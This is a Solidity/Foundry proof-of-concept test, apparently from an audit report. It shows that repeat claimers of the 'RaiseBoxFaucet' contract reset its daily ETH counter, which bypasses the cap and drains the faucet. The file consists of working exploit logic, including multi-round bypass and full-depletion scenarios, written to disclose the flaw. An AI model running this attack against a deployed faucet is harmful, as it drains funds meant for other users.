This detailed test demonstrates how the daily ETH cap can be completely bypassed through repeat claimers:
pragma solidity ^0.8.30;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract DailyEthCapBypassTest is Test {
RaiseBoxFaucet public faucet;
address public owner;
uint256 constant FAUCET_DRIP = 1000 * 10**18;
uint256 constant SEP_ETH_DRIP = 0.005 ether;
uint256 constant DAILY_SEP_ETH_CAP = 0.05 ether;
function setUp() public {
owner = address(this);
faucet = new RaiseBoxFaucet(
"RaiseBox Token",
"RBT",
FAUCET_DRIP,
SEP_ETH_DRIP,
DAILY_SEP_ETH_CAP
);
vm.deal(address(faucet), 10 ether);
console.log("=== Initial Setup ===");
console.log("Daily ETH Cap:", DAILY_SEP_ETH_CAP);
console.log("ETH per first-time claim:", SEP_ETH_DRIP);
console.log("Expected max first-time claimers per day: 10");
console.log("Faucet ETH Balance:", address(faucet).balance);
console.log("");
}
function test_DailyEthCapBypassVulnerability() public {
console.log("=== DEMONSTRATING VULNERABILITY ===");
console.log("");
console.log("Phase 1: First-time claimers (should reach cap)");
uint256 faucetEthBefore = address(faucet).balance;
for (uint160 i = 1; i <= 10; i++) {
address firstTimer = address(i);
vm.prank(firstTimer);
faucet.claimFaucetTokens();
assertEq(firstTimer.balance, SEP_ETH_DRIP);
assertTrue(faucet.getHasClaimedEth(firstTimer));
}
uint256 ethDistributed1 = faucetEthBefore - address(faucet).balance;
console.log("ETH distributed to 10 first-timers:", ethDistributed1);
console.log("Daily cap should now be REACHED (0.05 ETH distributed)");
console.log("");
console.log("Phase 2: Repeat claimer bypasses the cap");
address repeatClaimer = address(999);
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
assertEq(repeatClaimer.balance, SEP_ETH_DRIP);
vm.warp(block.timestamp + 3 days + 1);
uint256 faucetEthBefore2 = address(faucet).balance;
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
assertEq(repeatClaimer.balance, SEP_ETH_DRIP);
console.log("Repeat claimer just reset dailyDrips to 0!");
console.log("Daily cap is now BYPASSED");
console.log("");
console.log("Phase 3: 10 MORE first-timers claim (should be blocked but aren't)");
for (uint160 i = 11; i <= 20; i++) {
address firstTimer = address(i);
vm.prank(firstTimer);
faucet.claimFaucetTokens();
assertEq(firstTimer.balance, SEP_ETH_DRIP);
assertTrue(faucet.getHasClaimedEth(firstTimer));
}
uint256 ethDistributed2 = faucetEthBefore2 - address(faucet).balance;
console.log("ETH distributed to 10 MORE first-timers:", ethDistributed2);
console.log("");
uint256 totalDistributedToday = ethDistributed1 + ethDistributed2;
console.log("=== VULNERABILITY IMPACT ===");
console.log("Total ETH distributed today:", totalDistributedToday);
console.log("Daily cap limit:", DAILY_SEP_ETH_CAP);
console.log("Cap exceeded by:", totalDistributedToday - DAILY_SEP_ETH_CAP);
console.log("Percentage over cap:", (totalDistributedToday * 100) / DAILY_SEP_ETH_CAP, "%");
assertGt(totalDistributedToday, DAILY_SEP_ETH_CAP);
assertEq(totalDistributedToday, 0.1 ether);
console.log("");
console.log("Result: Daily cap is COMPLETELY BYPASSED");
console.log("20 first-timers got ETH on the same day instead of 10");
}
function test_CapBypassWithMultipleRepeatClaimers() public {
console.log("=== ADVANCED ATTACK: Multiple Repeat Claimers ===");
console.log("");
uint256 totalEthDistributed = 0;
uint256 firstTimerCount = 0;
for (uint256 round = 0; round < 5; round++) {
console.log("Round", round + 1);
for (uint160 i = 1; i <= 10; i++) {
address firstTimer = address(uint160(1000 + round * 100 + i));
vm.prank(firstTimer);
faucet.claimFaucetTokens();
if (firstTimer.balance == SEP_ETH_DRIP) {
totalEthDistributed += SEP_ETH_DRIP;
firstTimerCount++;
}
}
console.log("First-timers this round:", 10);
address repeatClaimer = address(uint160(5000 + round));
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
vm.warp(block.timestamp + 3 days + 1);
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
console.log("Counter reset by repeat claimer");
console.log("");
}
console.log("=== FINAL RESULTS ===");
console.log("Total first-time claimers served:", firstTimerCount);
console.log("Total ETH distributed:", totalEthDistributed);
console.log("Daily cap:", DAILY_SEP_ETH_CAP);
console.log("Expected max claimers:", 10);
console.log("");
console.log("The cap was exceeded by:", (firstTimerCount - 10), "users");
console.log("Actual ETH distributed:", totalEthDistributed);
console.log("This is", (totalEthDistributed * 100) / DAILY_SEP_ETH_CAP, "% of the cap");
assertEq(firstTimerCount, 50);
assertEq(totalEthDistributed, 0.25 ether);
}
function test_FaucetDrainsQuickly() public {
console.log("=== SHOWING RAPID DEPLETION ===");
console.log("");
uint256 initialBalance = 1 ether;
vm.deal(address(faucet), initialBalance);
console.log("Faucet ETH balance:", initialBalance);
console.log("Daily cap:", DAILY_SEP_ETH_CAP);
console.log("Expected days to deplete: ~20 days");
console.log("");
uint256 claimCount = 0;
for (uint160 i = 1; address(faucet).balance >= SEP_ETH_DRIP; i++) {
address firstTimer = address(i);
vm.prank(firstTimer);
faucet.claimFaucetTokens();
claimCount++;
if (i % 10 == 0) {
address repeatClaimer = address(uint160(10000 + i));
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
vm.warp(block.timestamp + 3 days + 1);
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
}
}
console.log("Faucet depleted after", claimCount, "first-time claims");
console.log("Expected first-time claims with proper cap: 200");
console.log("Without the bug, faucet would last 20 days");
console.log("With the bug, faucet can be drained in a SINGLE DAY");
console.log("");
console.log("Remaining balance:", address(faucet).balance);
assertLt(address(faucet).balance, SEP_ETH_DRIP);
}
}